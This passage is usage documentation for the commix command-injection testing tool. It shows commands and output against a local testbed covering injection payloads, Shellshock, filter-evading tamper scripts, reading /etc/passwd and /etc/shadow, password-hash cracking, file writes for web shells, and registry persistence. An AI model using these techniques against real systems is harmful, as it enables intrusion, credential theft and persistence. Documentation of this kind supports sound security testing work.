python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --delay=2 PoC: the added pause between requests shows up directly in the log timestamps - a nine-second gap here where a plain run resolves the same point within a second:
[08:46:24] [info] Previous session identified the target operating system as 'Unix-like'.
[08:46:33] [info] Identified a potential injection point on GET parameter 'addr'.
Option: --jitter=SECONDS
This option adds a different fraction of a second to every delay set with --delay, so that the requests do not arrive at an even, machine-like pace.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --delay=1 --jitter=0.5Switch: --drop-set-cookie
This option tells commix to ignore all Set-Cookie headers sent by the server in HTTP responses. This is particularly useful when testing applications that issue new or modified cookies per request or when attempting to replay consistent behavior in session-dependent workflows. By doing so, it prevents automatic updates to the current session’s cookies.
It can be useful for:
- Maintaining a stable session throughout the scan
- Preventing forced logouts or user role changes triggered by cookie rotation
- Bypassing anti-bot protections that rely on dynamic session identifiers
Note
- Combine with manually specified cookies (
--cookie) for fixed-session testing. - Disabling cookie updates can reduce server-side anomalies during injection testing.
python commix.py --url="http://commix-testbed/scenarios/stateful/drop_set_cookie.php?addr=127.0.0.1" --cookie="sid=keepme" --drop-set-cookiePoC: this scenario hands out a fresh sid on every
response and refuses any request whose cookie is not keepme or empty - a client that dutifully
stored the latest Set-Cookie would be logged out by its own second request. With --drop-set-cookie
holding the given cookie in place, addr is confirmed injectable via all four techniques:
Identified the following injection point(s) with a total of 63 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo MMFBRT$((86+86))$(echo MMFBRT)MMFBRT;
Enumeration options are used to collect detailed information about the target system’s operating system and environment after successfully exploiting a command injection vulnerability.
Switch: --all
Retrieve all possible information from the target, including users, privileges, hostname, operating system, and more. This option runs multiple enumeration checks to provide a comprehensive overview of the compromised system.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --all PoC: every check runs in one pass - the environment, the operating system, the account the commands run as, the hostname, then every account and what each one can do. Trimmed to the shape of it; the accounts run to 21 here:
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
Operating system: 'Linux Ubuntu 14.04 x86_64'
Current user: 'www-data'
Hostname: 'b43fb2270d15'
Current user has elevated privileges: False
Operating system users [21]:
[*] 'root'
[*] 'www-data'
[*] 'mysql'
Operating system users' privileges [21]:
+----------+-------+------------------+------------+
| Username | UID | Home Directory | Privileged |
+----------+-------+------------------+------------+
| root | 0 | /root | True |
| daemon | 1 | /usr/sbin | False |
| www-data | 33 | /var/www | False |
+----------+-------+------------------+------------+
The password hashes are part of the same pass, and are the one check that comes back empty here - /etc/shadow is not readable by www-data, which is the correct answer rather than a failure. --passwords shows what it looks like where they can be read.
Switch: --current-user
This option retrieves the name of the user account the injected command runs as. Knowing which account is executing commands is the starting point for judging what else on the target is in reach.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --current-userPoC:
[info] Fetching the current user.
Current user: 'www-data'
Switch: --hostname
This option retrieves the hostname of the target system to identify the machine within a network environment or domain. It helps in mapping the target’s network context and understanding its role or location.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --hostnamePoC:
[info] Fetching the hostname.
Hostname: 'b43589606d43'
Switch: --is-root
This option checks if the current user has root privileges on Unix/Linux systems, which indicates full system control.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --is-rootPoC:
[info] Fetching the current user.
Current user: 'www-data'
[info] Fetching the current user's privileges.
Current user has elevated privileges: False
Switch: --is-admin
This option checks if the current user has administrative privileges on Windows systems, important for privilege escalation assessment.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --is-admin PoC: against this Unix-like target the check falls back to the same privilege test as --is-root:
[info] Fetching the current user.
Current user: 'www-data'
[info] Fetching the current user's privileges.
Current user has elevated privileges: False
Switch: --sys-info
This option retrieves detailed system information such as operating system version, kernel details, environment variables, and system architecture.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --sys-infoPoC:
[info] Fetching the target operating system.
Operating system: 'Linux Ubuntu 14.04 x86_64'
Switch: --users
This option retrieves a list of user accounts configured on the target system, useful for further enumeration or password attacks.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --users PoC: trimmed to a few of the 21 accounts read back from /etc/passwd:
[info] Fetching the operating system users.
Operating system users [21]:
[*] 'root'
[*] 'proxy'
[*] 'www-data'
[*] 'backup'
[*] 'nobody'
[*] 'syslog'
[*] 'mysql'
Switch: --passwords
This option attempts to retrieve password hashes from the target system. Where it finds any (MD5-crypt $1$, or SHA-256/512-crypt $5$/$6$ - what a modern /etc/shadow actually holds), it offers a dictionary-based attack against them automatically, prompted the same way every time: store to a file first, then (by default) crack, pick a dictionary, optionally add common suffixes, then try every word against every hash of a format it can compute. A hash in a format it recognizes but cannot crack in pure Python (bcrypt, yescrypt) is named along with the hashcat -m mode suited to it, rather than silently skipped.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --passwords On the testbed as it ships, this comes back empty - /etc/shadow is 0640 root:shadow and the commands run as www-data, so the answer is that the hashes are out of reach, which is the correct result rather than a failure.
PoC of the cracking flow: a test account with a weak password was added and the shadow file made temporarily readable for this one demonstration, then both were reverted immediately after:
[info] Fetching the operating system users' password hashes.
Operating system user password hashes [1]:
[*] admin [1]:
password hash: $6$wikidemo$PfveG.LUrHzEgWezm4PFd23xgu2JIG7lDuastZKypi7FsbjwEjJRx1AqAAlcF8.AOjegJWj2dXgTPz1RLwyus1
Do you want to store hashes to a temporary file for eventual further processing with other tools? [y/N] N
Do you want to crack them via a dictionary-based attack? [Y/n] Y
[info] Using hash method 'sha512_crypt'.
What dictionary do you want to use?
[1] Default dictionary file '.../data/txt/default_passwords.txt' (press Enter)
[2] Custom dictionary file
1
Do you want to use common password suffixes? (slow!) [y/N] N
[info] Starting dictionary-based cracking ('sha512_crypt').
[info] Cracked password 'admin' for user 'admin'.
[info] Cracked 1 password:
[*] admin [1]:
password hash: $6$wikidemo$PfveG.LUrHzEgWezm4PFd23xgu2JIG7lDuastZKypi7FsbjwEjJRx1AqAAlcF8.AOjegJWj2dXgTPz1RLwyus1
clear-text password: admin
Note
- Cracking tries only the formats it can compute in pure Python (MD5-crypt, SHA-256/512-crypt). A format it recognizes but cannot try - bcrypt, yescrypt - is named along with the dedicated tool mode suited to it, not silently dropped.
- On a bulk scan (multiple targets) the crack prompt defaults to N instead of Y - a dictionary attack repeated unattended over every target in a list is a cost worth asking about, not assuming.
Switch: --privileges
This option retrieves detailed privilege information of the current user or other users on the target system.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --privileges PoC: trimmed to a few of the 21 entries:
[info] Fetching the operating system users' privileges.
Operating system users' privileges [21]:
+----------+-------+------------------+------------+
| Username | UID | Home Directory | Privileged |
+----------+-------+------------------+------------+
| proxy | 13 | /bin | False |
| www-data | 33 | /var/www | False |
| nobody | 65534 | /nonexistent | False |
+----------+-------+------------------+------------+
Switch: --ps-version
This option retrieves the installed PowerShell version on Windows targets, which helps in selecting compatible post-exploitation modules or scripts.
Note
- If the version cannot be read back, commix reports that it failed to identify it and asks whether to continue, rather than reporting an empty version. Payloads that rely on PowerShell are likely to fail against that target.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --ps-version PoC: exactly the case the NOTE above describes - a Unix-like target has no PowerShell to report, and commix says so rather than printing an empty version:
[warning] The identified OS seems incompatible with the provided '--ps-version' switch.
Option: --file-read=FILE
This option allows you to retrieve and read files from the target system, which can be invaluable for extracting sensitive information such as configuration files, password lists, logs, or other critical data during an assessment.
Note
- Ensure you have explicit permission and legal authorization before accessing or reading any files on a target system.
- Unauthorized file access is illegal and may lead to severe legal consequences.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --file-read="/etc/passwd" PoC: the file comes back as it is on disk, trimmed here to its first lines:
[info] Fetching the contents of the file '/etc/passwd'.
File contents: 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...'
Where the whole answer arrives at once - the results-based and dynamic-code techniques - the file is asked for as base64, so nothing a page does to whitespace can reach it and what comes back matches the file byte for byte. A technique that reads a byte at a time reads it plainly instead, since base64 is a third longer and every one of those bytes is paid for; a file retrieved that way can come back with its runs of whitespace folded.
Option: --file-write=FILE
This option enables you to remotely create or overwrite files on the target system. It is particularly useful for placing web shells, backdoors, or other malicious payloads when the target environment allows writing to the filesystem.
Note
- Ensure the target directory is writable; otherwise, the operation will fail.
- Use responsibly and only with explicit authorization to avoid legal issues.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--file-write="local.txt" \
--file-dest="/tmp/remote.txt"PoC: with a local local.txt holding a short text line, commix writes it to the target's /tmp/remote.txt and confirms it:
[info] Attempting to write the contents of file '/tmp/local.txt' to the remote directory '/tmp/remote.txt'.
[info] The file has been successfully created in remote directory: '/tmp/remote.txt'.
Option: --file-dest=FILE
This option works in combination with --file-write to specify the exact destination path on the target system where files should be created or overwritten. It allows precise control over the location of file operations, ensuring payloads or scripts are placed in the desired directory for successful execution or persistence.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--file-write="local.txt" \
--file-dest="/tmp/local.txt"PoC: same mechanism as the previous example, only the destination path changes - it is --file-dest alone that decides where the file lands:
[info] The file has been successfully created in remote directory: '/tmp/local.txt'.
Switch: --common-files
This option checks a bundled wordlist of common sensitive paths for existence on the target - configuration files, credential stores, SSH keys, logs - without needing to know or guess a path up front. Unix-style paths are tried on a Unix-like target, drive-letter ones on a Windows target; each line in the wordlist is only ever tried against the OS it is shaped for. A path it finds is one --file-read away.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --common-filesPoC:
[info] Checking for 36 common files on the target.
[info] Found 12 common files on the target:
[*] '/etc/passwd'
[*] '/etc/shadow'
[*] '/etc/group'
[*] '/etc/hosts'
[*] '/etc/hostname'
[*] '/etc/resolv.conf'
[*] '/etc/sudoers'
[*] '/etc/crontab'
[*] '/etc/apache2/apache2.conf'
[*] '/proc/self/environ'
[*] '/.dockerenv'
[*] '/proc/1/cgroup'
These options read, write or delete a value in the Windows registry on the target host, through reg.exe. They need nothing but command execution - no filesystem path has to be known or guessed, which makes them reachable even where --file-read/--file-write are not. They apply to a Windows target only; against anything else commix reports as much and skips them, the same way --ps-version does.
Switch: --reg-read
This option reads back the value named with --reg-value, out of the key named with --reg-key, through reg query. It is often the quickest way to pull a secret that never touches the filesystem at all - an autologon password, a saved VNC password, a service's ImagePath - all through one command, with no web-root path needed.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--reg-read --reg-key="HKLM\Software\Foo" --reg-value="Bar"PoC: this target is POSIX, not Windows, so the registry stage is reached and skipped rather than run - this is the same fallback --ps-version shows against a target with no PowerShell:
[info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
[warning] The registry access options only apply to a Windows target, so they are skipped here.
Against a Windows target, commix sends reg query "HKLM\Software\Foo" /v "Bar" and reads the value's data back off the line it shares with its type:
[info] Fetching the registry value 'Bar' of the key 'HKLM\Software\Foo'.
Registry value: 'some value here'
Switch: --reg-add
This option writes the value named with --reg-value into the key named with --reg-key, with the data from --reg-data and the type from --reg-type (default REG_SZ), through reg add ... /f. It is a persistence/privesc primitive that needs no file write at all - a Run key for persistence, or AlwaysInstallElevated ahead of pushing an MSI.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--reg-add --reg-key="HKCU\Software\Foo" --reg-value="Bar" --reg-data="hello" --reg-type="REG_SZ"Against a Windows target, commix sends reg add "HKCU\Software\Foo" /v "Bar" /t REG_SZ /d "hello" /f and reports success off reg.exe's own confirmation line:
[info] Attempting to write the registry value 'Bar' of the key 'HKCU\Software\Foo'.
The registry value 'Bar' has been successfully written to the key 'HKCU\Software\Foo'.
Switch: --reg-del
This option deletes the key named with --reg-key, through reg delete ... /f. Adding --reg-value narrows that to deleting just the one value, leaving the rest of the key standing.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--reg-del --reg-key="HKCU\Software\Foo"Against a Windows target, commix sends reg delete "HKCU\Software\Foo" /f for the key as a whole, or reg delete "HKCU\Software\Foo" /v "Bar" /f when --reg-value="Bar" is also given.
Note
-
--reg-read,--reg-addand--reg-delcannot be combined - pick one action per run. -
--reg-keyis required by all three;--reg-valueis required by--reg-readand--reg-add, and optional for--reg-del;--reg-datais required by, and only accepted with,--reg-add.
Options: --reg-key=REG_KEY, --reg-value=REG_VALUE, --reg-data=REG_DATA, --reg-type=REG_TYPE
--reg-key names the key (e.g. HKLM\Software\Foo), --reg-value the value under it, --reg-data the data --reg-add writes, and --reg-type the kind of value it writes it as - one of REG_SZ (the default), REG_EXPAND_SZ, REG_DWORD, REG_QWORD, REG_BINARY, REG_MULTI_SZ or REG_NONE.
A module is a self-contained check for a vulnerability class that does not fit the normal
parameter-injection model - usually because the injection point is not a parameter at all. A module
is named with --module, runs in place of the standard detection flow, and is not selectable
through --technique. See Module development for the anatomy of one.
Option: --module=MODULE
The option takes the name of a registered module - shellshock is the one commix ships with. A
name that matches no module is reported before the target is contacted.
This option enables Shellshock (CVE-2014-6271 and related CVEs) testing module to identify vulnerabilities in CGI scripts that rely on the Bash shell. The Shellshock bug allows attackers to achieve unauthenticated remote code execution by injecting malicious payloads into specially crafted environment variables - commonly set via HTTP headers such as User-Agent, Referer, Cookie, or custom headers. When Bash processes these variables, it may incorrectly evaluate appended function definitions followed by arbitrary commands. This flaw is particularly critical in web server environments that expose Bash through CGI interfaces, enabling attackers to execute system-level commands remotely. Successful exploitation can result in full system compromise, data exfiltration, privilege escalation, or lateral movement across the network.
What the module does:
- Injects through the
Cookie,User-AgentandRefererheaders, testing each with two payload shapes -CVE-2014-6271andCVE-2014-6278- because a target patched against the first is not always patched against the second. - Restricts testing to a single header when
-pnames one, so a known-good vector can be retested without walking the rest. - Supports the out-of-band channel. With
--oob, execution is proven and commands are run through an OAST interaction rather than the HTTP response, which reaches targets whose CGI output is discarded or never rendered. - Once an injection point is confirmed, the enumeration options, the file access options and
--os-shellall work against it exactly as they do for the standard techniques. - Confirmed injection points are stored in the session, so a resumed run reports them immediately instead of retesting every header and CVE combination.
Note
- Want to build your own module like this? Check out the Module Development Guide for a full walkthrough on writing and integrating custom commix modules.
python commix.py --url="http://www.target.com/cgi-bin/status/" --module=shellshockPoC (verified against a local vulnerables/cve-2014-6271 container, since www.target.com is a placeholder and the commix-testbed image carries no CGI script of its own): run against the container's actual vulnerable script (/cgi-bin/vulnerable, not /cgi-bin/status/), the heuristic recognises the CGI script and the module confirms the Cookie header:
[info] Heuristic (basic) test shows that target URL might be vulnerable to Shellshock (detected script: '/cgi-bin/').
[info] Cookie HTTP Header appears to be injectable via shellshock module results-based command injection technique.
Identified the following injection point(s) with a total of 2 HTTP(S) requests:
Parameter: Cookie (HTTP Header)
* Technique: Shellshock module
* Type: Results-based command injection
* Payload: () { :; }; echo CVE-2014-6271:Done;
Proving execution out-of-band, where the CGI response carries nothing back:
python commix.py --url="http://www.target.com/cgi-bin/status/" --module=shellshock --oobPoC (verified against the same container): its CGI script echoes command output directly, so the results-based technique succeeds before --oob is ever needed - the same finding comes back regardless of the switch, which is itself the honest result here (a target that hides its output was not available to force the out-of-band path):
[info] Cookie HTTP Header appears to be injectable via shellshock module results-based command injection technique.
Optimization options can be used to optimize the performance of the command injection process.
Switch: -o
Persistent connections are already the default, so the only optimization left to turn on is concurrency: this switch is a shortcut for --threads=3, applied only where --threads was not already given a value of its own.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" -oPoC: this single-connection target answers one request at a time, and commix says so rather than silently keeping the extra threads idle:
[warning] The target answers one request at a time. Continuing with a single thread.
Switch: --no-keep-alive
Persistent (Keep-Alive) connections are used by default, since reusing a single connection across requests removes a TCP and TLS handshake from every one of them. This switch opts out and closes the connection after each request.
Note
- Persistent connections are disabled automatically when they cannot be used, for example with
--http1.0, a proxy, or digest authentication.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --no-keep-aliveOption: --threads=THREADS
This option specifies the maximum number of concurrent HTTP(S) requests (default is 1, maximum 10). It can improve performance during time-related data retrieval by resolving several output positions in parallel.
Note
- Each position is still resolved serially, so raising this value increases the number of positions worked on at once, not the requests spent per position.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --threads=10Injection options control how commix crafts and delivers payloads to exploit command injection vulnerabilities. They include techniques for encoding payloads, using tampering scripts, selecting injection methods, and evading Web Application Firewalls (WAFs) or other filtering mechanisms. These options help customize and optimize the command injection process for higher success rates and stealth.
Option: -p PARAMETER
This option allows you to limit the scanning and testing process to specific input parameters instead of scanning all parameters indiscriminately. By targeting only selected parameters, you can significantly reduce the scope of testing, save time, and minimize unnecessary noise in the results.
Some parameters are left alone unless they are named here, because testing them says nothing about the application and usually costs the session: those holding an anti-CSRF token (csrf, xsrf, token or nonce in the name), those holding session or framework state (PHPSESSID, JSESSIONID, ASP.NET_SessionId, __VIEWSTATE, __EVENTVALIDATION and the like), and the cookies set by Google Analytics (_ga, _gid, _gat, _gcl_au, __utm*). Naming one of them here tests it anyway - the parameters skipped are only the ones nobody asked for.
Note
- Multiple parameters can be specified as a comma-separated list.
- Use this option to improve the precision and safety of your tests
- Naming a standard HTTP header here tests that header even below the
--levelit would normally require. Each one answers to several spellings:ua,useragentoruser-agentfor theUser-Agentheader,ref,refererorreferrerforReferer, andhostforHost.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/multiple_params.php?id=2&addr=127.0.0.1&test=3" -p addr The page's own parameters are
addr,countandlabel, notid/addr/test- andaddris the one that is regex-validated (safe), whilecountis the one that reaches the shell unchecked. The example above therefore names the wrong parameter and reports nothing; the command below fixes both the query string and the option to actually exercise-p.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/multiple_params.php?addr=127.0.0.1&count=4&label=home" -p countPoC: only count is tested, and it is found injectable:
[info] Identified a potential injection point on GET parameter 'count'.
[info] GET parameter 'count' appears to be injectable via results-based classic command injection technique.
Option: --skip=PARAMS
This option allows you to exclude specific parameters from the scanning and testing process. By skipping known safe or irrelevant parameters, you can focus the assessment on inputs that are more likely to be vulnerable, thereby improving scan efficiency and reducing noise in the results.
Note
- A standard HTTP header can be skipped by name here too, under any of the spellings listed for
-pabove.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--data="id=2&addr=1&test=3" \
--skip="test"PoC: test is left untested, and only id and addr go through the heuristic:
[info] Skipping POST parameter 'test'.
[info] Setting POST parameter 'id' for tests.
Option: --param-exclude=REGEXP
This option leaves alone every parameter whose name matches the regular expression given, which is how a session identifier, a signature or anything else a payload would only invalidate is kept out of the run.
Note
- The expression is matched against the parameter's name and against the place it travels in, so either can be named.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --param-exclude="ses|token"
classic.phponly has the oneaddrparameter, so nothing here is actually left alone. The command below, againstmultiple_params.phpand excluding the truly injectablecount, shows the option doing something real.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/multiple_params.php?addr=127.0.0.1&count=4&label=home" --param-exclude="count"PoC:
[info] Skipping the parameter 'count', excluded with '--param-exclude'.
Option: --param-filter=PLACE
This option tests only the parameters travelling in the places named - GET, POST, COOKIE or a header - and says nothing about the rest.
python commix.py --url="http://commix-testbed/scenarios/regular/POST/classic.php" --data="addr=127.0.0.1" --param-filter="POST"With a
POST-only body this example filters out nothing observable; run instead with aGETparameter (extra) added alongside thePOSTone, to show the filter actually excluding a place:
python commix.py --url="http://commix-testbed/scenarios/regular/POST/classic.php?extra=1" --data="addr=127.0.0.1" --param-filter="POST"PoC: only the POST parameter is ever set for testing - the GET parameter extra never appears in the log at all:
[info] Setting POST parameter 'addr' for tests.
[info] POST parameter 'addr' appears to be injectable via results-based classic command injection technique.
Option: --suffix=SUFFIX
This option appends a custom string or character sequence to every injection payload sent during testing. Appending such suffixes can help bypass input validation filters, fix syntax errors, or tailor payloads to the target’s specific parsing behavior. This technique is especially useful when the injection context requires closing quotes, comments, or other delimiters to maintain valid syntax and increase exploitation success.
Note
- Combine with other options like
--prefixor--tamperfor complex payload customization. - Experiment with different suffixes depending on the target’s input parsing and filter behavior.
- The string is added exactly once to each payload, and is applied whether or not
--prefixis given as well.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --suffix="'"On
classic.phpthe value is not inside quotes at all, so appending a stray'only breaks the syntax the target already accepts unquoted.classic_quote.php, whose command wraps the value in single quotes (exec("... '".$addr."'")), is where the suffix actually has something to close:
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic_quote.php?addr=127.0.0.1" --suffix="'" --level=3 --technique=rPoC: the closing quote already in the payload, plus the one this option adds, keeps the command syntactically valid (--technique=r restricts the run to one technique, which is what makes the request count below meaningful on its own):
Identified the following injection point(s) with a total of 87 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1';echo IYJJIX$((15+16))$(echo IYJJIX)IYJJIX;'
Option: --prefix=PREFIX
This option prepends a custom string or character sequence to every injection payload sent during testing. Prepending prefixes can help bypass input validation filters, fix syntax errors, or adjust the payload to fit the target’s parsing context. It is particularly useful when the injection point expects certain opening characters - such as quotes, parentheses, or comment tokens - to form valid or exploitable input.
Note
- Combine with other options like
--suffixor--tamperfor complex payload customization. - Experiment with different suffixes depending on the target’s input parsing and filter behavior.
- The string is added exactly once to each payload, even when the injection boundary being tested already contains it.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --prefix="'"Same caveat as
--suffixabove -classic.phpdoes not sit inside quotes, so nothing here needs closing. Againstclassic_quote.phpthe prefix closes the opening quote before the payload runs:
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic_quote.php?addr=127.0.0.1" --prefix="'" --technique=rPoC (--technique=r restricting the run to one technique so the request count below is meaningful on its own):
Identified the following injection point(s) with a total of 93 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1'\necho CMUYUJ$((27+21))$(echo CMUYUJ)CMUYUJ\n
Option: --tamper=TAMPER
This option applies one or more tamper scripts to the injection payloads, to get past Web Application Firewalls, filters, or input validation. Several scripts can be combined by separating their names with commas, and they are applied in a fixed order regardless of how they are listed. Use --list-tampers to see what is available.
A filtered whitespace does not have to be named here. Where nothing is confirmed with a plain one, commix offers to go around it rather than giving up:
Do you want commix to try again in case plain whitespace is being filtered (e.g. by using whitespace tamper scripts)? [Y/n] Y
[info] Loading tamper module 'space2ifs'.
[info] POST parameter 'addr' appears to be injectable via results-based classic command injection technique.
Answering yes sends the techniques around again with ${IFS} in place of each space, and again with a tab where $ turns out to be filtered along with the whitespace. Answering no leaves the run as it was. Naming the script here instead skips the question and pins the payload to that one substitute from the start, which is what makes it worth naming when a particular target needs exactly one of them.
A filtered - is offered the same way, as a question of its own: every numeric test commix writes leans on -eq/-ne, so where nothing is confirmed and dashlesstest has not already been applied, commix asks before going around again with its tests written without one.
A filtered $ is the third of these, and the one none of the others can be written around: every command substitution commix writes opens with it, the heuristic's own probe included, and so does the ${IFS} the whitespace retry reaches for first. A backtick opens the same substitution and is a different character, so where the probe comes back empty commix asks before trying that way:
Do you want commix to try again in case a dollar sign ('$') is being filtered (e.g. by using a tamper script that substitutes through backticks instead)? [Y/n] Y
[info] POST parameter 'addr' appears to be injectable via results-based classic command injection technique.
It is not asked where the substitution is not the shell's to make - cmd.exe has no backtick, and an interpreter is handed a program rather than a shell line.
Note
- Combinations that would corrupt each other's output are rejected up front, with a message naming both scripts.
- Single-quoted parts of a payload and shell keywords are left untouched, since rewriting either would stop the payload from running.
- Providing this option settles the matter wherever commix would otherwise reach for a script itself - a detected WAF/IPS, or a filter it could not get a payload past: it keeps to the scripts given here rather than adding any of its own on top.
- A whitespace character picked by a script (e.g.
${IFS}) suits the operating system it was picked for, so with multiple targets the choice is made again for each one. - The payload printed in the summary at the end is the one of record - the payload as it was
built, before the scripts rewrote it. That is what the session stores and what a resumed
run replays, since what a script writes belongs to the run it was loaded in: a variable
name drawn at random this time is not the name the next run draws. To see what actually
went on the wire, run with
-v(verbosity 1 and above prints each payload as it is sent). - A script reached for on its own belongs to the parameter it was reached for, and is dropped before the next one is tested - what got past one parameter's filter says nothing about the next, and a substitute carried over is one more thing the next filter may block.
python commix.py --url="http://commix-testbed/scenarios/filters/no_space.php" --data="addr=127.0.0.1" --tamper="space2ifs,randomcase"PoC: the filter that strips spaces is bypassed, and the found injection point is still reported:
[info] POST parameter 'addr' appears to be injectable via time-based blind command injection technique.
Option: --technique=TECH
By default, commix tests all available command injection techniques to maximize the chances of detection. This option allows you to specify one or more particular injection techniques to use during the scan, tailoring the testing process to the target’s environment, defenses, or your preferred strategy. Selecting specific techniques can optimize scan speed and reduce noise when you have prior knowledge about the target’s behavior.
The letters below name the technique - how execution is proven. What is being injected into is chosen separately: command injection by default, or code injection with --eval. The two combine, so --eval --technique="r" looks for code injection and proves it results-based.
A technique is named for how its result comes back; what it reached is the injection type, reported alongside it and selectable on its own with --type.
Τechniques:
-
(R)esults-based: The output of an injected command is reflected directly in the server’s HTTP response, and read back from it. It is reported as aclassicinjection type. It is the most straightforward injection method, allowing immediate verification of successful command execution by analyzing the HTTP response content. For example, injectingidand observing the user and group information directly in the response body. This technique is highly effective when the vulnerable application does not sanitize or suppress command output in its responses. -
(B)oolean-based: No command output reaches the response at all; instead the target is made to branch on the command it ran, and execution is proven by which of two page states the response falls into - matched with--string,--not-string,--regexpor--code, or calibrated automatically when none of those is given. It is reported as ablindinjection type. Unlike the time-based technique it needs no delay and no clock, at the cost of needing a page that visibly differs between the two branches. -
(T)ime-based: This technique does not rely on visible output; instead, it exploits blind injection by conditionally delaying the server's response. Payloads typically use commands (likesleeportimeout) to introduce measurable delays when specific conditions are met. By observing variations in response times, attackers can infer system behavior, evaluate boolean conditions, or extract data one bit at a time. Although inherently slower due to its indirect feedback mechanism, this approach is highly effective in restrictive environments where standard output channels are filtered, suppressed, or entirely unavailable. -
(F)ile-based: Thisblindinjection technique writes the output of executed commands to a file on the server's filesystem, which is then read back to confirm successful execution. It requires a writable path on the server - named with--web-root, worked out from the target where a technique whose output comes back is already confirmed, or chosen from the candidates offered where it cannot be. When the file can be placed under the web server's document root, it is retrieved over HTTP. When this is not possible - due to file system restrictions, permission issues, or unknown writable locations - the payload falls back to a temporary directory (e.g.,/tmp,/var/tmp, orC:\Windows\Temp) and the output is recovered through response delays instead. Both cases are reported asFile-based; where the output file lives is a mechanism of the technique, not a technique of its own. It is particularly useful when direct command output is suppressed but file I/O is allowed.
Note
- You can specify one or multiple techniques (e.g.,
--technique="rt"), with or without separating commas, in any case. -
EandOare not among them: code injection is asked for with--evaland the out-of-band channel with--oob, each of which combines with any technique. -
Cnamed the first of them before it was renamed after how its result comes back, and is still read asR. - Combining techniques allows for a more comprehensive and flexible injection testing strategy.
- For comprehensive details on each technique, including usage examples and requirements, refer to the Techniques wiki.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --technique="rtf"PoC: only the three named techniques run, skipping boolean-based entirely:
[info] Testing the results-based classic command injection technique, please wait... (done)
[info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
[info] Testing the time-based blind command injection technique, please wait.... (done)
[info] GET parameter 'addr' appears to be injectable via time-based blind command injection technique.
[info] Testing the file-based blind command injection technique, please wait...
[info] Continue testing the file-based blind command injection technique, please wait... (done)
[info] GET parameter 'addr' appears to be injectable via file-based blind command injection technique.
Option: --type=TYPE
Where --technique names how a result comes back, this option names what the result is - the injection type a finding is reported as - and runs every technique that reports it. It is the shorter way to ask for a whole class of technique when the distinction that matters is whether output is visible at all.
Τypes:
-
(C)lassic: the injected command's output reaches the HTTP response, so it is read straight out of it. Reported as aclassicinjection type, and reached by the results-based technique alone. -
(B)lind: no command output reaches the response, so execution is proven by what the target does instead of by what it says - which of two page states it falls into, a delay, or a file written and read back. Reported as ablindinjection type, and reached by the boolean-based, time-based and file-based techniques.
Note
- You can specify one or both types (e.g.,
--type="cb"), with or without separating commas, in any case. - This option and
--techniquecannot be used together - either name the techniques or name the type they report. -
--type="c"is the same as--technique="r", and--type="b"the same as--technique="btf".
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --type="b"PoC: results-based is skipped, and the blind techniques run in its place - boolean-based, then time-based:
[info] GET parameter 'addr' appears to be injectable via boolean-based blind command injection technique.
[info] GET parameter 'addr' appears to be injectable via time-based blind command injection technique.
Option: --eval[=LANG]
commix tests for command injection by default. This switch points the same techniques at code the application evaluates at runtime instead, through eval() or a function like it (e.g. assert(), or preg_replace() with the /e modifier in PHP). What is injected changes; how execution is proven does not, so this combines with --technique.
